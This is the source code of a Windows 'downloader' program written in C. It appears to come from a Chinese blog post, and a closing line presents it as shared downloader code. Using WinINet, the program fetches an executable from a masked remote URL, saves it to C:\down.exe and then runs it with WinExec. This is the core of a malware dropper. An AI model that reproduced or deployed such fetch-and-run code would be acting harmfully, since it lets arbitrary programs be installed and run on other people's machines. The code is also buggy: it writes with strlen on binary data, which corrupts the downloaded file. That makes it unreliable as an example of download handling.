#include <stdio.h>
#include<windows.h>
#include<wininet.h>
#include <string.h>
#pragma comment(lib,"wininet.lib")
#define MAX_SIZE 255
#define DOWN_OK 100
#define DOWN_ERROR 101
#define THREADOK 102
#define THREADERROR 103
#define THREADQUIT 104
#define FILEERROR 105
#define KBYTES 1024
#define StoredFilePath "C:\\down.exe"
#define TargetURL "http://***********//file.exe"
DWORD dwRequestedFilelength=0;
DWORD dwWritedFileLength=0;
DWORD dwWritedBytes=0;
char buffer[KBYTES*10];
char chResourceUrl[MAX_SIZE];
DWORD dwReadBytes;
BOOL bWriteResult;
BOOL bInternetResult;
HANDLE hOpenFile;
HINTERNET hMyInternet;
HINTERNET hOpenUrlInternet;
DWORD ProcDownload()
{
//initiate wininet library
hMyInternet=InternetOpen("DOWNLOADER",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (hMyInternet==NULL)
{
printf("Initiate an application's use of the WinINet functions fails\n");
return THREADQUIT;
}
//Estiblish URL Session
hOpenUrlInternet=InternetOpenUrl(hMyInternet,TargetURL,NULL,0,INTERNET_FLAG_RELOAD,0);
if (hOpenUrlInternet==NULL)
{
printf("the connection is successfully fails\n");
return THREADQUIT;
}
//create file and stored data
hOpenFile=CreateFile(StoredFilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (hOpenFile==INVALID_HANDLE_VALUE)
{
printf("Create Starget File Fails\n");
return FILEERROR;
}
while(TRUE)//read buffer stream from internet
{
bInternetResult=InternetReadFile(hOpenUrlInternet,buffer,sizeof(buffer),&dwReadBytes);
if (dwReadBytes==0)
break;
bWriteResult=WriteFile(hOpenFile,buffer,strlen(buffer),&dwWritedBytes,NULL);
if (bWriteResult!=0)
{ dwRequestedFilelength+=dwReadBytes;
dwWritedFileLength+=dwWritedBytes;
}
dwReadBytes=0;
dwWritedBytes=0;
}
if(dwWritedFileLength!=dwRequestedFilelength)
{
printf("some data is missing\n");
DeleteFile(StoredFilePath);
return DOWN_ERROR;
}
printf("The Total File Size is :%d bytes\n",dwWritedFileLength);
InternetCloseHandle(hMyInternet);
InternetCloseHandle(hOpenUrlInternet);
CloseHandle(hOpenFile);
return DOWN_OK;
}
int main(void)
{
memset(buffer,0,sizeof(buffer));
memset(chResourceUrl,0,sizeof(chResourceUrl));
strcpy(chResourceUrl,TargetURL);
DWORD dwResult=ProcDownload();
if(dwResult==DOWN_OK)
printf("download finish success\n");
else
printf("download finish fails\n");
WinExec("c:\\down.exe",SW_SHOW);
system("pause");
return DOWN_OK;
}
C++语言版下载者代码分享。本人才疏学浅,抛砖引玉,欢迎大牛指导。
最新推荐文章于 2024-05-05 12:42:35 发布